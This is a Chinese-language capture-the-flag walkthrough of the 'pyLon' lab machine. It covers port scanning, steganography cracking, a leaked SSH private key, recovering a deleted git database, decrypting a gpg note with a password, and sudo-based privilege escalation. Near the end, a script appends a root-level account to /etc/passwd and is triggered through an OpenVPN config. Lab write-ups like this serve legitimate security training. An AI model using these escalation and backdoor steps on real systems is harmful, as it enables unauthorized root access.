Skip to main content

pyLon

端口扫描

root@ip-10-10-174-17:~/pylonzf# nmap -sTCV -p 22,222 --min-rate 10000 10.10.45.44

Starting Nmap 7.60 ( https://nmap.org ) at 2023-10-09 07:25 BST
Nmap scan report for ip-10-10-45-44.eu-west-1.compute.internal (10.10.45.44)
Host is up (0.00012s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 12:9f:ae:2d:f8:af:04:bc:8d:6e:2d:55:66:a8:b7:55 (RSA)
| 256 ce:65:eb:ce:9f:3f:57:16:6a:79:45:9d:d3:d2:eb:f2 (ECDSA)
|_ 256 6c:3b:a7:02:3f:a9:cd:83:f2:b9:46:6c:d0:d6:e6:ec (EdDSA)
222/tcp open ssh OpenSSH 8.4 (protocol 2.0)
MAC Address: 02:4E:7C:1C:22:83 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.90 seconds

文件隐写

将我们的照片下载下来之后, 我先进行了一波小操作查看一些属性, 结果发现在元数据中存在一些特殊的内容 , 泄露一个加密的方式

image-20240709193238720

之后使用 stegcracker 进行暴力破解, 成功获取到密码

image-20240709193246061

之后查看我们生成的文件

root@ip-10-10-174-17:~/pylonzf# cat pepper.jpg.out 
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
7Xa73W632+12/5XfActiLj0AKAAA

当我看到这个文件的时候,我知道该解密了, 原本我想的是按照上面的一条加密路径进行解密, 但是很遗憾这并不适用于这里, 当尝试进行 Base 64 编码之后我发现其针对的是一个 gzip 压缩文件

image-20240709193254084

我们将其下载到本地进行解压并查看, 从下面我们可以确定一些事情:

  • 存在一个 OPENSSH 的私钥, 但是绝不是 SSH 的私钥, 结合端口情况来看, 判断为 连接 222 端口的内容
  • 一些杂乱的内容
root@ip-10-10-160-88:~/redstoneonecarat# gunzip download.gz 
root@ip-10-10-160-88:~/redstoneonecarat# strings download
lone_id
0000777
0001750
0001750
00000003437
14004470261
011570
ustar
pood0g
pood0g
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEA45nVhEtT37sKnNBWH2VYsXbjA8vAK8e04HfrgF06NiGGQsRBLtJw
YJu73+zGO0AoETo8LYhxB5eI5D9KzboGuTDAuGZQuUq+8N/hBmfavieHLHgkRNBr0ErJ60
l2FAcDW6pDowfiwC1vsdixQ6L8kvVhdkz0GUfPAlfIRhHHtQaQnQ7wnRtdGjIPK9/S1MPs
IJOLD2S79NxS7vguw87Mp0cnRjDalaCcRE0ELUvLDKQdZlWba0kF/PciqknkDYq2mbkCRd
3jWX2Umx0WtP2wCh9BQ/syxTJDXn6mCEsoNI/roLKyB1uGms/pFiBxS0qdiZAAO6CyTkyG
hZwb1BKmUwAAA8hSynq9Usp6vQAAAAdzc2gtcnNhAAABAQDjmdWES1Pfuwqc0FYfZVixdu
MDy8Arx7Tgd+uAXTo2IYZCxEEu0nBgm7vf7MY7QCgROjwtiHEHl4jkP0rNuga5MMC4ZlC5
Sr7w3+EGZ9q+J4cseCRE0GvQSsnrSXYUBwNbqkOjB+LALW+x2LFDovyS9WF2TPQZR88CV8
hGEce1BpCdDvCdG10aMg8r39LUw+wgk4sPZLv03FLu+C7DzsynRydGMNqVoJxETQQtS8sM
pB1mVZtrSQX89yKqSeQNiraZuQJF3eNZfZSbHRa0/bAKH0FD+zLFMkNefqYISyg0j+ugsr
IHW4aaz+kWIHFLSp2JkAA7oLJOTIaFnBvUEqZTAAAAAwEAAQAAAQB+u03U2EzfqzqBjtAl
szzrtBM8LdvXhOAGjT+ovkCHm6syyiyxcaP5Zz35tdG7dEHbNd4ETJEDdTFYRpXUb90GiU
sGYpJYWnJvlXmrI3D9qOzvqgYn+xXNaZd9V+5TwIPyKqB2yxFLiQFEujAaRUr2WYPnZ3oU
CZQO7eoqegQFm5FXLy0zl0elAkEiDrrpS5CNBunv297nHMLFBPIEB231MNbYMDe0SU40NQ
WAGELdiAQ9i7N/SMjAJYAV2MAjbbzp5uKDUNxb3An85rUWKHXslATDh25abIY0aGZHLP5x
4B1usmPPLxGTqX19Cm65tkw8ijM6AM9+y4TNj2i3GlQBAAAAgQDN+26ilDtKImrPBv+Akg
tjsKLL005RLPtKQAlnqYfRJP1xLKKz7ocYdulaYm0syosY+caIzAVcN6lnFoBrzTZ23uwy
VB0ZsRL/9crywFn9xAE9Svbn6CxGBYQVO6xVCp+GiIXQZHpY7CMVBdANh/EJmGfCJ/gGby
mut7uOWmfiJAAAAIEA9ak9av7YunWLnDp6ZyUfaRAocSPxt2Ez8+j6m+gwYst+v8cLJ2SJ
duq0tgz7za8wNrUN3gXAgDzg4VsBUKLS3i41h1DmgqUE5SWgHrhIJw9AL1fo4YumPUkB/0
S0QMUn16v4S/fnHgZY5KDKSl4hRre5byrsaVK0oluiKsouR4EAAACBAO0uA2IvlaUcSerC
0OMkML9kGZA7uA52HKR9ZE/B4HR9QQKN4sZ+gOPfiQcuKYaDrfmRCeLddrtIulqY4amVcR
nx3u2SBx9KM6uqA2w80UlqJb8BVyM4SscUoHdmbqc9Wx5f+nG5Ab8EPPq0FNPrzrBJP5m0
43kcLdLe8Jv/ETfTAAAAC3B5bG9uQHB5bG9uAQIDBAUGBw==
-----END OPENSSH PRIVATE KEY-----
root@ip-10-10-160-88:~/redstoneonecarat#

222

现在带来另一个问题, 就是连接的用户名是什么, 我们可以从上面确定以下内容:

  • lone_id
  • lone
  • ustar
  • pood0g

我们使用此用户进行连接, 最终发现 lone 用户可以进行连接

root@ip-10-10-160-88:~/redstoneonecarat# ssh -i lone_id [email protected] -p 222

登陆之后显示如下, 从内容我们可以推断出这是一个数据库

image-20240709193305910

其需要我们输入密码, 但是这我们哪里知道, 查看提示后说是狗的名字, 也就是我们的照片名称, (当然也可能是文件隐写的密码这里都一样就无所谓了) 输入 pepper 后我发现依旧是错误的, 这时我想起来之前从文件获取的编码方式, 因此我将 pepper 按照上面的编码方式进行编码后发现成功了 编码链接

image-20240709193316379

登陆成功后四处查找发现在数据库中泄露了用户的登陆账号

image-20240709193324880

后渗透

lone

image-20240709193337904

这时候我发现用户具有 SUDO 特权可以执行一个 openvpn 的命令因此我查找了相关命令发现一个提权方式 Sudo OpenVPN Privilege Escalation | Exploit Notes

  • 很可惜很可惜, 我们并没有权限修改 client.ovpn 文件
lone@pylon:~$ sudo -l
[sudo] password for lone:
Matching Defaults entries for lone on pylon:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User lone may run the following commands on pylon:
(root) /usr/sbin/openvpn /opt/openvpn/client.ovpn
lone@pylon:~$ ls -al /opt/openvpn/client.ovpn
-rw-rw---- 1 root root 8187 Jan 26 2021 /opt/openvpn/client.ovpn

lone —> pood

在用户 lone 家目录进行查找时我发现其有一些特殊性

  • 存在一个 note_from_pood.gpg 我们可能需要进行解密, 将其下载到本地进行查看发现无法使用 john 进行破解
  • pylon: 这个应该就是我们的 222 端口服务其存在 git 结合其功能,感觉其会泄露密码或者密钥, 结合 note_from_pood.gpg 应该是这个的密钥了
lone@pylon:~$ ls -al
total 48
......
-rw-rw-r-- 1 pood pood 600 Jan 30 2021 note_from_pood.gpg
drwxr-xr-x 3 lone lone 4096 Jan 30 2021 pylon
lone@pylon:~/pylon$ ls -al
total 40
drwxr-xr-x 3 lone lone 4096 Jan 30 2021 .
drwxr-x--- 6 lone lone 4096 Jan 30 2021 ..
drwxrwxr-x 8 lone lone 4096 Jan 30 2021 .git
-rw-rw-r-- 1 lone lone 793 Jan 30 2021 README.txt
-rw-rw-r-- 1 lone lone 340 Jan 30 2021 banner.b64
-rwxrwxr-x 1 lone lone 8413 Jan 30 2021 pyLon.py
-rw-rw-r-- 1 lone lone 2195 Jan 30 2021 pyLon_crypt.py
-rw-rw-r-- 1 lone lone 3973 Jan 30 2021 pyLon_db.py

在查看其细节时, 我发现一些特殊内容其中存在一个 pyLon.db 的文件在 64d8bbf 阶段被删除了, 并且从名称来看其就是我们的 gpg 密钥,此时我们有两种解决办法:

  • 直接在靶机端修改这个服务, 最快的方式 (我选择这种方式)
  • 在本机运行需要下载对应的一些库什么的笔记慢

image-20240709193358039

修改的靶机端内容

image-20240709193404854

之后从代码的介绍中我们知道了启动的方式所以执行下面的命令

$ python3 pyLon_pwMan.py

image-20240709193412830

image-20240709193419386

之后使用我们得到的 gpg 密钥解密我们的文件

lone@pylon:~$ gpg note_from_pood.gpg 
gpg: WARNING: no command supplied. Trying to guess what you mean ...
gpg: Note: secret key D83FA5A7160FFE57 expired at Fri Jan 27 19:13:48 2023 UTC
gpg: encrypted with 3072-bit RSA key, ID D83FA5A7160FFE57, created 2021-01-27
"lon E <[email protected]>"
lone@pylon:~$ cat note_from_pood
Hi Lone,

Can you please fix the openvpn config?

It's not behaving itself again.

oh, by the way, my password is yn0ouE9JLR3h)`=I

Thanks again.
lone@pylon:~$

现在我们得到了 pood 的用户密码, 直接使用 SSH 登陆

pood —> root

在枚举发现 pood 用户具有编辑 client.ovpn 权限

pood@pylon:~$ sudo -l
[sudo] password for pood:
Matching Defaults entries for pood on pylon:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User pood may run the following commands on pylon:
(root) sudoedit /opt/openvpn/client.ovpn

现在就连接起来了, 使用 pood 用户编辑我们的 ovpn 文件, 再使用 noraj 用户进行执行直接完美提权 Sudo OpenVPN Privilege Escalation | Exploit Notes 这里建议获取一个 root Shell 而不是 /bin/bash, 我在这里创建了新的用户

pood@pylon:/tmp$ cat << EOF > root.sh 
> #!/bin/bash
> echo 'FUCK:\$1\$admin\$eiO19kFjs48pgX5PoJpXm1:0:0::/root:/bin/bash' >> /etc/passwd
> EOF
pood@pylon:/tmp$ chmod 777 root.sh

之后只需要使用 lone 用户执行一下命令就可以完成提权了

lone@pylon:~$ sudo /usr/sbin/openvpn /opt/openvpn/client.ovpn

image-20240709193435367